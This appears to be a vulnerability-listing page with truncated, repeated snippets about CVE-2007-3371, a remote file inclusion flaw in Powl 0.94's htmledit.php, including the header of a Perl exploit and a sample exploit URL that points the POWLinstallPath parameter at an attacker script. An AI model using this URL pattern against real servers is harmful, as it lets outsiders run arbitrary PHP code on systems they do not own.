Powl 0.94 (htmledit.php) Remote File Inclusion Vulnerability

No description provided by source. !/usr/bin/perl POWL - 0.94 - Remote File Inclusion Exploit Url: http://switch.dl.sourceforge.net/sourceforge/powl/powlontowiki-0.94.zip Exploit: http://site.com/path/plugins/widgets/htmledit/htmledit.php?POWLinstallPath=EvilScript: coded and f0und3d by kw3rln...

Remote file inclusion

PHP remote file inclusion vulnerability in plugins/widgets/htmledit/htmledit.php in Powl 0.94 allows remote attackers to execute arbitrary PHP code via a URL in the POWLinstallPath parameter...

CVE-2007-3371

The CVE-2007-3371 entry concerns Powl 0.94 and its htmledit.php in plugins/widgets/htmledit. The root cause is a PHP remote file inclusion vulnerability via the _POWL[installPath] parameter, enabling a remote attacker to execute arbitrary PHP code if a crafted URL is used. This is supported by th...

Powl 0.94 - 'htmledit.php' Remote File Inclusion

!/usr/bin/perl POWL - 0.94 - Remote File Inclusion Exploit Url: http://switch.dl.sourceforge.net/sourceforge/powl/powlontowiki-0.94.zip Exploit: http://site.com/path/plugins/widgets/htmledit/htmledit.php?POWLinstallPath=EvilScript: coded and f0und3d by kw3rln Romanian Security Team .:...